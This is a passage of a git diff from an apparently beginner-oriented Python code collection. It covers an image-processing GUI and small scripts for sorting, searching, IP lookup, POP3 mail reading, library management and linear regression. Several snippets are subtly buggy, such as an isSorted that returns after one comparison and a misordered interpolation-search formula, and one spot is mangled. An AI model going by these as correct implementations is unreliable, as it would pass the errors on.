Image.fromarray(mimg) - img = ImageTk.PhotoImage(modified_img) - after_canvas.create_image( - 256, - 256, - image=img, - anchor="center", - ) - after_canvas.img = img - - -def load_file(): - global ip_file - ip_file = filedialog.askopenfilename( - title="Open an Image fill", - initialdir=".", - filetypes=[("All Image Files", "*.*")], - - ) - draw_before_canvas() - print(f"Image load from: {ip_file}") - print(f"Image: {original_img}") - - -def save_file(): - global ip_file, original_img, modified_img - file_ext = os.path.splitext(ip_file)[1][1:] - op_file = filedialog.asksaveasfilename( - filetypes=[ - ( - f"{file_ext.upper()}", - f"*.{file_ext}", - - ) - ], - defaultextension=[ - ( - f"{file_ext.upper()}", - f"*.{file_ext}", - ) - ], - ) - modified_img = modified_img.convert("RGB") - modified_img.save(op_file) - print(f"Image saved at:{op_file}") - print(f"Image: {original_img}") - - -"""--------------x---------Frame-----------x-------------""" - -left_frame = ttk.LabelFrame(root, text="Original Image", labelanchor=N) -left_frame.pack(fill=BOTH, side=LEFT, padx=10, pady=10, expand=1) - -middle_frame = ttk.LabelFrame(root, text="Algorithms", labelanchor=N) -middle_frame.pack(fill=BOTH, side=LEFT, padx=5, pady=10) - -right_frame = ttk.LabelFrame(root, text="Modified Image", labelanchor=N) -right_frame.pack(fill=BOTH, side=LEFT, padx=10, pady=10, expand=1) - -# left frame contents -before_canvas = Canvas(left_frame, bg="white", width=512, height=512) -before_canvas.pack(expand=1) - -browse_btn = ttk.Button(left_frame, text="Browse", command=load_file) -browse_btn.pack(expand=1, anchor=SW, pady=(5, 0)) -"""--------------x---------Frame-----------x-------------""" - -"""--------------x---------Middle frame contents-----------x-------------""" - -algo_canvas = Canvas(middle_frame, width=260, highlightthickness=0) -scrollable_algo_frame = Frame(algo_canvas) -scrollbar = Scrollbar( - middle_frame, orient="vertical", command=algo_canvas.yview, width=15 -) -scrollbar.pack(side="right", fill="y") -algo_canvas.pack(fill=BOTH, expand=1) -algo_canvas.configure(yscrollcommand=scrollbar.set) -algo_canvas.create_window((0, 0), window=scrollable_algo_frame, anchor="nw") -scrollable_algo_frame.bind( - "", lambda _: algo_canvas.configure(scrollregion=algo_canvas.bbox("all")) -) -"""--------------x---------Middle frame contents-----------x-------------""" - -"""--------------x---------Right frame contents-----------x-------------""" -after_canvas = Canvas(right_frame, bg="white", width=512, height=512) -after_canvas.pack(expand=1) - -save_btn = ttk.Button(right_frame, text="Save", command=save_file) -save_btn.pack(expand=1, anchor=SE, pady=(5, 0)) - -"""--------------x---------Right frame contents-----------x-------------""" - -"""-----------x---------Digital Image Processing Algorithms------------x-----------""" - - -# def RGB2Gray(): -# img = mpimg.imread(ip_file) -# R, G, B = img[:, :, 0], img[:, :, 1], img[:, :, 2] -# # return 0.299 * R + 0.58 * G + 0.114 * B -# return 299 / 1000 * R + 587 / 1000 * G + 114 / 1000 * B -# -# -# def callRGB2Gray(): -# grayscale = RGB2Gray() -# draw_after_canvas(grayscale) -# -# -# def RGB2HSI(): -# img = mpimg.imread(ip_file) -# R, G, B = img[:, :, 0], img[:, :, 1], img[:, :, 2] -# return R + G + B / 3 -# -# -# def callRGB2HSI(): -# blackNwhite = RGB2HSI() -# draw_after_canvas(blackNwhite) -# -# def negative(set_gray): -# img = RGB2Gray() if set_gray else Image.open(ip_file) -# img = np.array(img) -# img = 255 - img -# draw_after_canvas(img) -# -# -def redImg(): - img = mpimg.imread(ip_file) - img[:, :, 1] = 0 - img[:, :, 2] = 0 - draw_after_canvas(img) - - -def greenImg(): - img = mpimg.imread(ip_file) - img[:, :, 0] = 0 - img[:, :, 2] = 0 - draw_after_canvas(img) - - -def blueImg(): - img = mpimg.imread(ip_file) - img[:, :, 0] = 0 - img[:, :, 1] = 0 - draw_after_canvas(img) - - -# -# -# def plot_histogram(label, img, index): -# hist, bins = np.histogram(img, 256, [0, 256]) -# cdf = hist.cumsum() -# cdf_normalized = cdf * float(hist.max()) / cdf.max() -# plt.subplot(1, 2, index) -# plt.title(label) -# plt.plot(cdf_normalized, color="b") -# plt.hist(img.flatten(), 256, [0, 256], color="r") -# plt.xlim([0, 256]) -# plt.legend(("CDF", "Histogram"), loc="upper left") -# plt.xlabel("Pixel Intensity") -# plt.ylabel("Distribution") -# plt.tight_layout() -# -# -# def histogram_eq(): -# plt.figure(num=1, figsize=(11, 5), dpi=100) -# img = cv.imread(ip_file, 0) -# plot_histogram("Original Histogram", img, 1) -# equ_img = cv.equalizeHist(img) -# plot_histogram("Equalized Histogram", equ_img, 2) -# draw_after_canvas(equ_img) -# plt.show() -# -# -# def custom_correlate(kernel): -# image = cv.imread(ip_file) -# -# filtered_image = cv.filter2D(src=image, ddepth=-1, kernel=kernel) -# filtered_image = filtered_image[:, :, ::-1] -# draw_after_canvas(filtered_image) -# -# -# def box_fileter(): -# global user_arg -# open_popup_input("Enter n for (n*n) filter") -# user_arg = int(user_arg) -# kernel = np.ones([user_arg, user_arg], dtype=int) -# kernel = kernel / (user_arg ** 2) -# print(kernel) -# print(sum(map(sum, kernel))) -# custom_correlate(kernel) -# -# -# def wt_avg_filter(): -# global user_arg -# open_popup_input("Enter n for (n*n) filter") -# user_arg = int(user_arg) -# seed = kernel = ( -# np.array( -# [ -# [1, 1], -# [1, 1], -# ] -# ) -# * (1 / 4) -# ) -# for _ in range(user_arg - 2): -# kernel = scipy.signal.convolve2d(kernel, seed) -# print(kernel) -# print(sum(map(sum, kernel))) -# -# custom_correlate(kernel) -# -# -# def median_fileter(): -# global user_arg -# open_popup_input("Enter n for (n*n) fileter") -# msize = int(user_arg) -# img = output = cv.imread(ip_file, 0) -# h, w = img.shape -# img = np.pad(img, msize // 2, mode="symmetric") -# center = msize ** 2 // 2 -# -# for i in range(h): -# for j in range(w): -# temp = img[i: msize + i, j: msize + j].flatten() -# temp.sort() -# output[i][j] = temp[center] -# -# draw_after_canvas(output) - -def RGB2Gray(): - img = mpimg.imread(ip_file) - R, G, B = img[:, :, 0], img[:, :, 1], img[:, :, 2] - return 0.299 * R + 0.58 * G + 0.114 * B - - -def callRGB2Gray(): - grayscale = RGB2Gray() - draw_after_canvas(grayscale) - - -def negative(set_gray): - img = RGB2Gray() if (set_gray) else Image.open(ip_file) - img = np.array(img) - img = 255 - img - draw_after_canvas(img) - - -def gray_slice(img, lower_limit, upper_limit, fn): - # general function - if lower_limit <= img <= upper_limit: - return 255 - else: - return fn - - -def call_gray_slice(retain): - img = RGB2Gray() - # input 100,180 - open_popup_input("Enter lower limit, upper limit\n(Separate inputs with a comma)") - arg_list = user_arg.replace(" ", "").split(",") - print(arg_list) - lower_limit = int(arg_list[0]) - upper_limit = int(arg_list[1]) - img_thresh = np.vectorize(gray_slice) - fn = img if retain else 0 - draw_after_canvas(img_thresh(img, lower_limit, upper_limit, fn)) - - -def bit_slice(img, k): - # create an image for the k bit plane - plane = np.full((img.shape[0], img.shape[1]), 2 ** k, np.uint8) - # execute bitwise and operation - res = cv.bitwise_and(plane, img) - # multiply ones (bit plane sliced) with 255 just for better visualization - return res * 255 - - -def call_bit_slice(): - global user_arg - bitplanes = [] - img = cv.imread(ip_file, 0) - open_popup_input( - "Enter bit plane no k (0-7)\n(or leave it blank to display all 8 planes together)" - ) - if not user_arg: - for k in range(9): - bslice = bit_slice(img, k) - # append to the output list - bslice = cv.resize(bslice, (171, 171)) - bitplanes.append(bslice) - - # concat all 8 bit planes into one image - row1 = cv.hconcat([bitplanes[0], bitplanes[1], bitplanes[2]]) - row2 = cv.hconcat([bitplanes[3], bitplanes[4], bitplanes[5]]) - row3 = cv.hconcat([bitplanes[6], bitplanes[7], bitplanes[8]]) - final_img = cv.vconcat([row1, row2, row3]) - else: - final_img = bit_slice(img, int(user_arg)) - - draw_after_canvas(final_img) - - -def c_stretch(img, r1, r2, s1, s2): - # general function - if img < r1: - return s1 - elif img > r2: - return s2 - else: - return s1 + ((s2 - s1) * (img - r1) / (r2 - r1)) - - -def call_c_stretch(limited): - img = RGB2Gray() - r1 = np.min(img) - r2 = np.max(img) - if limited: - # input 25,220 - open_popup_input("Enter s1,s2\n(Separate inputs with a comma)") # user input - arg_list = user_arg.replace(" ", "").split(",") - s1, s2 = int(arg_list[0]), int(arg_list[1]) - else: - s1, s2 = (0, 255) - image_cs = np.vectorize(c_stretch) - draw_after_canvas(image_cs(img, r1, r2, s1, s2)) - - -def plot_histogram(label, img, index): - hist, bins = np.histogram(img, 256, [0, 256]) - cdf = hist.cumsum() - cdf_normalized = cdf * float(hist.max()) / cdf.max() - plt.subplot(1, 2, index) - plt.title(label) - plt.plot(cdf_normalized, color="b") - plt.hist(img.flatten(), 256, [0, 256], color="r") - plt.xlim([0, 256]) - plt.legend(("cdf", "histogram"), loc="upper left") - plt.xlabel("Pixel intensity") - plt.ylabel("Distirbution") - plt.tight_layout() - - -def histogram_eq(): - plt.figure(num=1, figsize=(11, 5), dpi=100) - img = cv.imread(ip_file, 0) - plot_histogram("Original Histogram", img, 1) - equ_img = cv.equalizeHist(img) - plot_histogram("Equalized Histogram", equ_img, 2) - draw_after_canvas(equ_img) - plt.show() - - -def custom_correlate(kernel): - image = cv.imread(ip_file) - # filtered_image = image - # for i in range(image.shape[-1]): - # filtered_image[:, :, i] = scipy.signal.correlate2d( - # image[:, :, i], kernel, mode="same", boundary="symm" # extended padding - # ) - filtered_image = cv.filter2D(src=image, ddepth=-1, kernel=kernel) - filtered_image = filtered_image[:, :, ::-1] # converts BGR to RGB - draw_after_canvas(filtered_image) - - -def box_filter(): - global user_arg - open_popup_input("Enter n for (nxn) filter") - user_arg = int(user_arg) - kernel = np.ones([user_arg, user_arg], dtype=int) - kernel = kernel / (user_arg ** 2) - # print(kernel) - # print(sum(map(sum, kernel))) - custom_correlate(kernel) - - -def wt_avg_filter(): - global user_arg - open_popup_input("Enter n for (nxn) filter") - user_arg = int(user_arg) - seed = kernel = ( - np.array( - [ - [1, 1], - [1, 1], - ] - ) - * (1 / 4) - ) - for _ in range(user_arg - 2): - kernel = scipy.signal.correlate2d(kernel, seed) - # print(kernel) - # print(sum(map(sum, kernel))) - custom_correlate(kernel) - - -def median_filter(): - global user_arg - open_popup_input("Enter n for (nxn) filter") - msize = int(user_arg) - img = output = cv.imread(ip_file, 0) - h, w = img.shape - img = np.pad(img, msize // 2, mode="symmetric") - center = msize ** 2 // 2 - - for i in range(h): - for j in range(w): - temp = img[i: msize + i, j: msize + j].flatten() - temp.sort() - output[i][j] = temp[center] - draw_after_canvas(output) - - -def wt_median_filter(): - img = output = cv.imread(ip_file, 0) - m, n = img.shape - - for i in range(1, m - 1): - for j in range(1, n - 1): - temp = [ - img[i - 1, j - 1], - img[i - 1, j], - img[i - 1, j], - img[i - 1, j + 1], - img[i, j - 1], - img[i, j - 1], - img[i, j], - img[i, j], - img[i, j], - img[i, j + 1], - img[i, j + 1], - img[i + 1, j - 1], - img[i + 1, j], - img[i + 1, j], - img[i + 1, j + 1], - ] - - temp.sort() - output[i, j] = temp[7] - draw_after_canvas(output) - - -def find_gradient(hx, hy): - image = cv.imread(ip_file, 0) - pdx = scipy.signal.correlate2d(image, hx, mode="same", boundary="symm") - pdy = scipy.signal.correlate2d(image, hy, mode="same", boundary="symm") - gradient = np.add(np.abs(pdx), np.abs(pdy)) - # sharpened_img=np.add(image,gradient) - # draw_after_canvas(sharpened_img) - draw_after_canvas(gradient) - - -def robert_op(): - hx = np.array( - [ - [1, 0], - [0, -1], - ] - ) - hy = np.array( - [ - [0, -1], - [1, 0], - ] - ) - find_gradient(hx, hy) - - -def prewitt_op(): - hx = np.array( - [ - [1, 1, 1], - [0, 0, 0], - [-1, -1, -1], - ] - ) - hy = np.array( - [ - [1, 0, -1], - [1, 0, -1], - [1, 0, -1], - ] - ) - find_gradient(hx, hy) - - -def sobel_op(): - hx = np.array( - [ - [1, 2, 1], - [0, 0, 0], - [-1, -2, -1], - ] - ) - hy = np.array( - [ - [1, 0, -1], - [2, 0, -2], - [1, 0, -1], - ] - ) - find_gradient(hx, hy) - - -def laplacian_op(): - kernel = [ - [-1, -1, -1], - [-1, 8, -1], - [-1, -1, -1], - ] - image = cv.imread(ip_file, 0) - laplace = scipy.signal.correlate2d(image, kernel, mode="same", boundary="symm") - # sharpened_img = np.add(image, laplace) - draw_after_canvas(laplace) - - -def canny(): # sourcery no-metrics - sigma = 1 - kernel_size = 5 - weak_pixel = 75 - strong_pixel = 255 - lowthreshold = 0.05 - highthreshold = 0.15 - - img = cv.imread(ip_file, 0) - M, N = img.shape - - # 1) Noise reduction - size = kernel_size // 2 - x, y = np.mgrid[-size: size + 1, -size: size + 1] - normal = 1 / (2.0 * np.pi * sigma ** 2) - kernel = np.exp(-((x ** 2 + y ** 2) / (2.0 * sigma ** 2))) * normal - img_smoothed = scipy.signal.convolve2d(img, kernel, mode="same", boundary="symm") - - # 2) Gradient calc (sobel) - hx = np.array([[-1, 0, 1], [-2, 0, 2], [-1, 0, 1]]) - hy = np.array([[1, 2, 1], [0, 0, 0], [-1, -2, -1]]) - - pdx = scipy.signal.convolve2d(img_smoothed, hx, mode="same", boundary="symm") - pdy = scipy.signal.convolve2d(img_smoothed, hy, mode="same", boundary="symm") - - gradient = np.sqrt(pdx ** 2 + pdy ** 2) - gradient = gradient / gradient.max() * 255 - theta = np.arctan2(pdy, pdx) - - # 3) Non Max supression - nonmax = np.zeros((M, N), dtype=np.int32) - angle = theta * 180.0 / np.pi - angle[angle < 0] += 180 - - for i in range(1, M - 1): - for j in range(1, N - 1): - q = 255 - r = 255 - - # angle 0 - if (0 <= angle[i, j] < 22.5) or (157.5 <= angle[i, j] <= 180): - q = gradient[i, j + 1] - r = gradient[i, j - 1] - # angle 45 - elif 22.5 <= angle[i, j] < 67.5: - q = gradient[i + 1, j - 1] - r = gradient[i - 1, j + 1] - # angle 90 - elif 67.5 <= angle[i, j] < 112.5: - q = gradient[i + 1, j] - r = gradient[i - 1, j] - # angle 135 - elif 112.5 <= angle[i, j] < 157.5: - q = gradient[i - 1, j - 1] - r = gradient[i + 1, j + 1] - - if (gradient[i, j] >= q) and (gradient[i, j] >= r): - nonmax[i, j] = gradient[i, j] - else: - nonmax[i, j] = 0 - - # 4) Double threshold - highThreshold = nonmax.max() * highthreshold - lowThreshold = highThreshold * lowthreshold - - thresh = np.zeros((M, N), dtype=np.int32) - - strong_i, strong_j = np.where(nonmax >= highThreshold) - weak_i, weak_j = np.where((nonmax <= highThreshold) & (nonmax >= lowThreshold)) - - thresh[strong_i, strong_j] = strong_pixel - thresh[weak_i, weak_j] = weak_pixel - - # 5) Hysteresis - for i in range(1, M - 1): - for j in range(1, N - 1): - if thresh[i, j] == weak_pixel: - - if ( - (thresh[i + 1, j - 1] == strong_pixel) - or (thresh[i + 1, j] == strong_pixel) - or (thresh[i + 1, j + 1] == strong_pixel) - or (thresh[i, j - 1] == strong_pixel) - or (thresh[i, j + 1] == strong_pixel) - or (thresh[i - 1, j - 1] == strong_pixel) - or (thresh[i - 1, j] == strong_pixel) - or (thresh[i - 1, j + 1] == strong_pixel) - ): - thresh[i, j] = strong_pixel - else: - thresh[i, j] = 0 - - draw_after_canvas(thresh) - - -"""-----------x---------Digital Image Processing Algorithms------------x-----------""" - -"""----------------x--------Button for Algorithms---------x---------------""" -# ttk.Button( -# scrollable_algo_frame, -# text="RGB to grayscale", -# width=30, -# command=callRGB2Gray) \ -# .pack(expand=1, padx=5, pady=2, ipady=2) -# - - -# ttk.Button( -# scrollable_algo_frame, -# text="Negative", -# width=30, -# command=lambda: negative(set_gray=False)) \ -# .pack(pady=2, ipady=2) -# -# ttk.Button( -# scrollable_algo_frame, -# text="Negative/(Grayscale output)", -# width=30, -# command=lambda: negative(set_gray=True), -# ).pack(pady=2, ipady=2) -# -# ttk.Button( -# scrollable_algo_frame, -# text="Histogram Equalization", -# width=30, -# command=histogram_eq, -# ).pack(pady=2, ipady=2) -# ttk.Button( -# scrollable_algo_frame, text="gray-contrast", width=30, command=callRGB2HSI).pack(pady=2, ipady=2) -# -# -# ttk.Button( -# scrollable_algo_frame, -# text="Image Smoothing - Liner/n(nxm Avg/Box filter)", -# width=30, -# command=box_fileter, -# ).pack(pady=2, ipady=2) -# -# ttk.Button( -# scrollable_algo_frame, -# text="Image Smotting - Non Liner\n(n*n Median filter)", -# width=30, -# command=median_fileter, -# ).pack(pady=2, ipady=2) - -ttk.Button( - scrollable_algo_frame, text="RGB to Grayscale", width=30, command=callRGB2Gray -).pack(expand=1, padx=5, pady=2, ipady=2) - -ttk.Button( - scrollable_algo_frame, - text="Red Image", width=30, - command=redImg) \ - .pack(pady=2, ipady=2) - -ttk.Button( - scrollable_algo_frame, - text="Green Image", - width=30, - command=greenImg) \ - .pack(pady=2, ipady=2) - -ttk.Button( - scrollable_algo_frame, - text="Blue Image", - width=30, - command=blueImg) \ - .pack(pady=2, ipady=2) - -ttk.Button( - scrollable_algo_frame, - text="Negative", - width=30, - command=lambda: negative(set_gray=False), -).pack(pady=2, ipady=2) - -ttk.Button( - scrollable_algo_frame, - text="Negative\n(Grayscale output)", - width=30, - command=lambda: negative(set_gray=True), -).pack(pady=2, ipady=2) - -ttk.Button( - scrollable_algo_frame, - text="Gray level slicing\n(retaining background)", - width=30, - command=lambda: call_gray_slice(retain=True), -).pack(pady=2, ipady=2) - -ttk.Button( - scrollable_algo_frame, - text="Gray level slicing\n(lowering background)", - width=30, - command=lambda: call_gray_slice(retain=False), -).pack(pady=2, ipady=2) - -ttk.Button( - scrollable_algo_frame, - text="Bit plane slicing", - width=30, - command=call_bit_slice, -).pack(pady=2, ipady=2) - -ttk.Button( - scrollable_algo_frame, - text="Contrast Stretching\n(Linear)", - width=30, - command=lambda: call_c_stretch(limited=False), -).pack(pady=2, ipady=2) - -ttk.Button( - scrollable_algo_frame, - text="Contrast Stretching\n(Limited Linear)", - width=30, - command=lambda: call_c_stretch(limited=True), -).pack(pady=2, ipady=2) - -ttk.Button( - scrollable_algo_frame, - text="Histogram Equalization", - width=30, - command=histogram_eq, -).pack(pady=2, ipady=2) - -ttk.Button( - scrollable_algo_frame, - text="Image Smoothing - Linear\n(nxn Avg/Box Filter)", - width=30, - command=box_filter, -).pack(pady=2, ipady=2) - -ttk.Button( - scrollable_algo_frame, - text="Image Smoothing - Linear\n(nxn Weighted Avg Filter)", - width=30, - command=wt_avg_filter, -).pack(pady=2, ipady=2) - -ttk.Button( - scrollable_algo_frame, - text="Image Smoothing - Non Linear\n(nxn Median Filter)", - width=30, - command=median_filter, -).pack(pady=2, ipady=2) - -ttk.Button( - scrollable_algo_frame, - text="Image Smoothing - Non Linear\n(3x3 Weighted Median Filter)", - width=30, - command=wt_median_filter, -).pack(pady=2, ipady=2) - -ttk.Button( - scrollable_algo_frame, - text="Image Sharpening - Gradient\n(Roberts operator)", - width=30, - command=robert_op, -).pack(pady=2, ipady=2) - -ttk.Button( - scrollable_algo_frame, - text="Image Sharpening - Gradient\n(Prewitt operator)", - width=30, - command=prewitt_op, -).pack(pady=2, ipady=2) - -ttk.Button( - scrollable_algo_frame, - text="Image Sharpening - Gradient\n(Sobel operator)", - width=30, - command=sobel_op, -).pack(pady=2, ipady=2) - -ttk.Button( - scrollable_algo_frame, - text="Image Sharpening - Laplacian", - width=30, - command=laplacian_op, -).pack(pady=2, ipady=2) - -ttk.Button( - scrollable_algo_frame, - text="Canny Edge Detection", - width=30, - command=canny, -).pack(pady=2, ipady=2) - -"""----------------x--------Button for Algorithms---------x---------------""" - -root.mainloop() diff --git a/Add Code Here/PYTHON/insertion_sort.py b/Add Code Here/PYTHON/insertion_sort.py deleted file mode 100644 index e61ae904ea9..00000000000 --- a/Add Code Here/PYTHON/insertion_sort.py +++ /dev/null @@ -1,20 +0,0 @@ -def insertionSort(arr): - - - for i in range(1, len(arr)): - - key = arr[i] - - - j = i-1 - while j >= 0 and key < arr[j] : - arr[j + 1] = arr[j] - j -= 1 - arr[j + 1] = key - - - -arr = [12, 11, 13, 5, 6] -insertionSort(arr) -for i in range(len(arr)): - print ("% d" % arr[i]) diff --git a/Add Code Here/PYTHON/interpolation.py b/Add Code Here/PYTHON/interpolation.py deleted file mode 100644 index 494e571d2a6..00000000000 --- a/Add Code Here/PYTHON/interpolation.py +++ /dev/null @@ -1,38 +0,0 @@ -def interpolationSearch(arr, lo, hi, x): - - if (lo <= hi and x >= arr[lo] and x <= arr[hi]): - - - - pos = lo + ((hi - lo) // (arr[hi] - arr[lo]) *(x - arr[lo])) - - - - if arr[pos] == x: - - return pos - - if arr[pos] < x: - - return interpolationSearch(arr, pos + 1,hi, x) - if arr[pos] > x: - - return interpolationSearch(arr, lo,pos - 1, x) - - return -1 - - -arr = [10, 12, 13, 16, 18, 19, 20,21, 22, 23, 24, 33, 35, 42, 47] - -n = len(arr) -x = 33 - -index = interpolationSearch(arr, 0, n - 1, x) - -if index != -1: - - print("Element found at index", index) - -else: - - print("Element not found") \ No newline at end of file diff --git a/Add Code Here/PYTHON/ipfinder.py b/Add Code Here/PYTHON/ipfinder.py deleted file mode 100644 index 92e146015ff..00000000000 --- a/Add Code Here/PYTHON/ipfinder.py +++ /dev/null @@ -1,12 +0,0 @@ -print ("IP finder tool by ASR827 (telegram-@ASR827)") -import time -import socket as s - -time.sleep(3.0) -my_hostname = s.gethostname() -print('Your Hostname is: ' + my_hostname) -my_ip = s.gethostbyname(my_hostname) -print('Your Ip Address is: ' + my_ip) -host = 'dealsmagnet.com' -ip = s.gethostbyname(host) -print('The IP Address of ' + host + ' is: ' + ip) diff --git a/Add Code Here/PYTHON/isSorted.py b/Add Code Here/PYTHON/isSorted.py deleted file mode 100644 index 3748f0c38c8..00000000000 --- a/Add Code Here/PYTHON/isSorted.py +++ /dev/null @@ -1,31 +0,0 @@ -#using for loop - -def isSorted(l): - for i in range(1,len(l)): - if l[i] < l[i-1]: - return False - else: - return True - -#using while loop -# def isSorted(l): -# i =1 -# while i< len(l): -# if l[i]1: - return False - return True -print(isPalindrome(',aaabbbb,')) \ No newline at end of file diff --git a/Add Code Here/PYTHON/kadanes_algo.py b/Add Code Here/PYTHON/kadanes_algo.py deleted file mode 100644 index 89a0f792c1a..00000000000 --- a/Add Code Here/PYTHON/kadanes_algo.py +++ /dev/null @@ -1,17 +0,0 @@ -def maxSubArraySum(arr,size): - - max_till_now = arr[0] - max_ending = 0 - - for i in range(0, size): - max_ending = max_ending + arr[i] - if max_ending < 0: - max_ending = 0 - elif (max_till_now < max_ending): - max_till_now = max_ending - return max_till_now - -#Driver Code -arr = list(map(int,input().split(" "))) -size = len(arr) -print(maxSubArraySum(arr,size)) diff --git a/Add Code Here/PYTHON/libmgmtsys.py b/Add Code Here/PYTHON/libmgmtsys.py new file mode 100644 index 00000000000..458597026a6 --- /dev/null +++ b/Add Code Here/PYTHON/libmgmtsys.py @@ -0,0 +1,85 @@ +class Library: + def __init__(self): + self.books = {} + + def add_book(self, title, author, ISBN): + if ISBN not in self.books: + self.books[ISBN] = {'title': title, 'author': author, 'available': True} + print(f"{title} by {author} (ISBN: {ISBN}) has been added to the library.") + else: + print("Book with the same ISBN already exists in the library.") + + def view_books(self): + if not self.books: + print("No books available in the library.") + else: + print("Books available in the library:") + for ISBN, book in self.books.items(): + availability = "Available" if book['available'] else "Not Available" + print(f"{book['title']} by {book['author']} (ISBN: {ISBN}) - {availability}") + + def issue_book(self, ISBN): + if ISBN in self.books: + if self.books[ISBN]['available']: + self.books[ISBN]['available'] = False + print(f"{self.books[ISBN]['title']} has been issued.") + else: + print(f"{self.books[ISBN]['title']} is already issued.") + else: + print("Book not found in the library.") + + def return_book(self, ISBN): + if ISBN in self.books: + if not self.books[ISBN]['available']: + self.books[ISBN]['available'] = True + print(f"{self.books[ISBN]['title']} has been returned.") + else: + print(f"{self.books[ISBN]['title']} is already available in the library.") + else: + print("Book not found in the library.") + + def delete_book(self, ISBN): + if ISBN in self.books: + del self.books[ISBN] + print("Book has been deleted from the library.") + else: + print("Book not found in the library.") + +def main(): + library = Library() + + while True: + print("\nLibrary Management System Menu:") + print("1. Add Book") + print("2. View Books") + print("3. Issue Book") + print("4. Return Book") + print("5. Delete Book") + print("6. Exit") + + choice = input("Enter your choice: ") + + if choice == '1': + title = input("Enter the title of the book: ") + author = input("Enter the author of the book: ") + ISBN = input("Enter the ISBN of the book: ") + library.add_book(title, author, ISBN) + elif choice == '2': + library.view_books() + elif choice == '3': + ISBN = input("Enter the ISBN of the book to issue: ") + library.issue_book(ISBN) + elif choice == '4': + ISBN = input("Enter the ISBN of the book to return: ") + library.return_book(ISBN) + elif choice == '5': + ISBN = input("Enter the ISBN of the book to delete: ") + library.delete_book(ISBN) + elif choice == '6': + print("Exiting the program.") + break + else: + print("Invalid choice. Please try again.") + +if __name__ == "__main__": + main() diff --git a/Add Code Here/PYTHON/linear-regression.py b/Add Code Here/PYTHON/linear-regression.py new file mode 100644 index 00000000000..317d797df45 --- /dev/null +++ b/Add Code Here/PYTHON/linear-regression.py @@ -0,0 +1,29 @@ +import numpy as np +import pandas as pd + +class MeraLR: + + def __init__(self): + self.m = None + self.b = None + + def fit(self,X_train,y_train): + + num = 0 + den = 0 + + for i in range(X_train.shape[0]): + + num = num + ((X_train[i] - X_train.mean())*(y_train[i] - y_train.mean())) + den = den + ((X_train[i] - X_train.mean())*(X_train[i] - X_train.mean())) + + self.m = num/den + self.b = y_train.mean() - (self.m * X_train.mean()) + print(self.m) + print(self.b) + + def predict(self,X_test): + + print(X_test) + + return self.m * X_test + self.b diff --git a/Add Code Here/PYTHON/linked_list.py b/Add Code Here/PYTHON/linked_list.py deleted file mode 100644 index 0222933aafc..00000000000 --- a/Add Code Here/PYTHON/linked_list.py +++ /dev/null @@ -1,25 +0,0 @@ -class Node: - def __init__(self, dataval=None): - self.dataval = dataval - self.nextval = None - -class SLinkedList: - def __init__(self): - self.headval = None - - def listprint(self): - printval = self.headval - while printval is not None: - print (printval.dataval) - printval = printval.nextval - -list = SLinkedList() -list.headval = Node("Monday") -e2 = Node("Tuesday") -e3 = Node("Wednesday") - -list.headval.nextval = e2 - -e2.nextval = e3 - -list.listprint() \ No newline at end of file diff --git a/Add Code Here/PYTHON/list_shuffle.py b/Add Code Here/PYTHON/list_shuffle.py deleted file mode 100644 index 6ef5716a09f..00000000000 --- a/Add Code Here/PYTHON/list_shuffle.py +++ /dev/null @@ -1,24 +0,0 @@ -# Python3 code to demonstrate working of -# Shuffle two lists with same order -# Using zip() + * operator + shuffle() -import random - -# initializing lists -test_list1 = [6, 4, 8, 9, 10] -test_list2 = [1, 2, 3, 4, 5] - -# printing lists -print(f"The original list 1 : {test_list1}") -print(f"The original list 2 : {test_list2}") - -# Shuffle two lists with same order -# Using zip() + * operator + shuffle() -temp = list(zip(test_list1, test_list2)) -random.shuffle(temp) -res1, res2 = zip(*temp) -# res1 and res2 come out as tuples, and so must be converted to lists. -res1, res2 = list(res1), list(res2) - -# Printing result -print(f"List 1 after shuffle : {res1}") -print(f"List 2 after shuffle : {res2}") diff --git a/Add Code Here/PYTHON/mail_fetcher.py b/Add Code Here/PYTHON/mail_fetcher.py deleted file mode 100644 index 8ea0bd6d1e5..00000000000 --- a/Add Code Here/PYTHON/mail_fetcher.py +++ /dev/null @@ -1,74 +0,0 @@ -from email.parser import Parser -from email.header import decode_header -from email.utils import parseaddr - -import poplib - -email = input('Email: ') -password = input('Password: ') -pop3_server = input('POP3 server: ') - -def guess_charset(msg): - charset = msg.get_charset() - if charset is None: - content_type = msg.get('Content-Type', '').lower() - pos = content_type.find('charset=') - if pos >= 0: - charset = content_type[pos + 8:].strip() - return charset - -def decode_str(s): - value, charset = decode_header(s)[0] - if charset: - value = value.decode(charset) - return value - -def print_info(msg, indent=0): - if indent == 0: - for header in ['From', 'To', 'Subject']: - value = msg.get(header, '') - if value: - if header=='Subject': - value = decode_str(value) - else: - hdr, addr = parseaddr(value) - name = decode_str(hdr) - value = u'%s <%s>' % (name, addr) - print('%s%s: %s' % (' ' * indent, header, value)) - if (msg.is_multipart()): - parts = msg.get_payload() - for n, part in enumerate(parts): - print('%spart %s' % (' ' * indent, n)) - print('%s--------------------' % (' ' * indent)) - print_info(part, indent + 1) - else: - content_type = msg.get_content_type() - if content_type=='text/plain' or content_type=='text/html': - content = msg.get_payload(decode=True) - charset = guess_charset(msg) - if charset: - content = content.decode(charset) - print('%sText: %s' % (' ' * indent, content + '...')) - else: - print('%sAttachment: %s' % (' ' * indent, content_type)) - -server = poplib.POP3(pop3_server) - -server.set_debuglevel(1) - -print(server.getwelcome().decode('utf-8')) - -server.user(email) -server.pass_(password) - -print('Messages: %s. Size: %s' % server.stat()) - -resp, mails, octets = server.list() - -print(mails) -index = len(mails) -resp, lines, octets = server.retr(index) -msg_content = b'\r\n'.join(lines).decode('utf-8') -msg = Parser().parsestr(msg_content) -print_info(msg) -server.quit() diff --git a/Add Code Here/PYTHON/making_anagrams.py b/Add Code Here/PYTHON/making_anagrams.py deleted file mode 100644 index 4ad9c1f6fcb..00000000000 --- a/Add Code Here/PYTHON/making_anagrams.py +++ /dev/null @@ -1,8 +0,0 @@ -# Solution for HackerRank problem with URL: https://www.hackerrank.com/challenges/ctci-making-anagrams/problem -from collections import * -a = Counter(raw_input()) -b = Counter(raw_input()) -c = a - b -d = b - a -e = c + d -print len(list(e.elements())) diff --git a/Add Code Here/PYTHON/meantuple.py b/Add Code Here/PYTHON/meantuple.py new file mode 100644 index 00000000000..1956b6f9b5e --- /dev/null +++ b/Add Code Here/PYTHON/meantuple.py @@ -0,0 +1,10 @@ +temp = input("Enter comma-separated numbers: ") +tup = tuple(int(x) for x in temp.split(',')) +print("The Tuple:", tup) + +sum=0 +for i in tup: + sum+=i + +res=sum/len(tup) +print("The Mean is:",res) \ No newline at end of file diff --git a/Add Code 